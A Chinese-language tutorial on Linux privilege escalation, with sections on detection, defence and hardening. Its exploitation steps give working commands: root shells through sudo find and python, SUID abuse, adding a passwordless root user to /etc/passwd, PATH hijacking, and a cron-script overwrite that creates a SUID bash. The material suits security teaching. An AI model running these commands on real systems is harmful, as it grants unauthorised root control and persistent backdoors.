写在前面:合法学习边界
提权测试只允许在授权靶场或授权主机进行。对真实系统提权、利用内核漏洞可能触犯法律。
一、漏洞原理
拿到一个低权限 Shell 后,目标是提升到 root。提权本质是:低权限用户能利用系统配置或漏洞,执行本不该有权限的操作。
常见提权面:
1
2
3
4
5
6
| sudo 配置不当(用户可执行 root 命令)
SUID 文件(以所有者权限运行)
可写文件(/etc/passwd、PATH 里的脚本)
cron 任务(可写脚本/PATH 劫持)
内核漏洞
数据库/服务漏洞提权
|
二、影响与危害
1
2
3
| 低权限 → root 完全控制
横向移动
数据窃取、后门持久化
|
风险等级:高(决定渗透是否深入)。
三、利用 / 复现
第一步:收集当前权限
1
2
3
4
| id
sudo -l # 看当前用户能 sudo 什么
whoami
cat /etc/passwd | grep -v nologin
|
第二步:sudo 提权(重点看 GTFOBins)
1
2
3
4
5
6
7
8
9
| # 如果 sudo -l 显示可以无密码执行 find/vim/python 等
sudo -l
# 解释:列出当前用户可执行的 sudo 命令,提权的关键入口
# 例:sudo find 提权
sudo find / -exec /bin/sh \;
# 解释:find 有 -exec 可执行命令,/bin/sh 提权;注意 -p 保留 SUID 权限
# 例:sudo python 提权
sudo python -c 'import os; os.system("/bin/bash")'
# 解释:sudo 下 python 直接调系统命令弹 shell
|
规则:sudo -l 里能执行什么,就去 GTFOBins 查对应的提权命令。
第三步:SUID 提权
1
2
3
4
5
6
7
| # 找所有 SUID 文件
find / -perm -4000 -type f 2>/dev/null
# 解释:-4000 匹配 SUID 位,SUID 程序以文件所有者(常为 root)权限运行
# 例:find SUID
find / -exec /bin/sh -p \;
# 例:nmap 旧版本交互模式
nmap --interactive
|
-p 保留 SUID 权限。
第四步:可写文件与 PATH 劫持
1
2
3
4
5
| # /etc/passwd 可写 → 添加无密码 root 用户
echo 'hack::0:0::/root:/bin/bash' >> /etc/passwd
# PATH 劫持:把同名恶意文件放进靠前的 PATH 目录
echo '/bin/bash' > /tmp/ls && chmod +x /tmp/ls
export PATH=/tmp:$PATH
|
第五步:cron 任务提权
1
2
3
| cat /etc/crontab
# 如果任务调用可写脚本/命令 → 替换为反弹
echo 'cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash' > /可写脚本路径
|
内核漏洞(谨慎)
1
2
3
| uname -a 看版本 → 查对应 CVE
脏牛(DirtyCow) 等历史漏洞
只在靶场/授权环境用,生产先评估影响
|
四、检测
1
2
3
4
| find SUID 扫描、sudo -l 输出是否异常
可写系统目录/脚本
cron 里异常条目
内核版本过旧、补丁缺失
|
五、防御
1
2
3
4
5
| 最小化 sudo 授权,按命令白名单
避免不必要 SUID 位
关键文件收紧权限、目录防写
cron 脚本放安全目录并校验
及时打内核补丁
|
六、加固(修复)
1
2
3
4
5
| 清理多余 SUID/sudo 授权
修复可写关键路径与脚本
禁用/替换危险 sudo 命令
升级内核补丁
对已提权主机做取证与后门清理
|
七、小结
Linux 提权的套路很固定:先看 sudo -l 和 SUID,再看可写文件和 cron。这些排查完没戏,才考虑内核漏洞。记住 GTFOBins 是 sudo/SUID 提权的“字典”。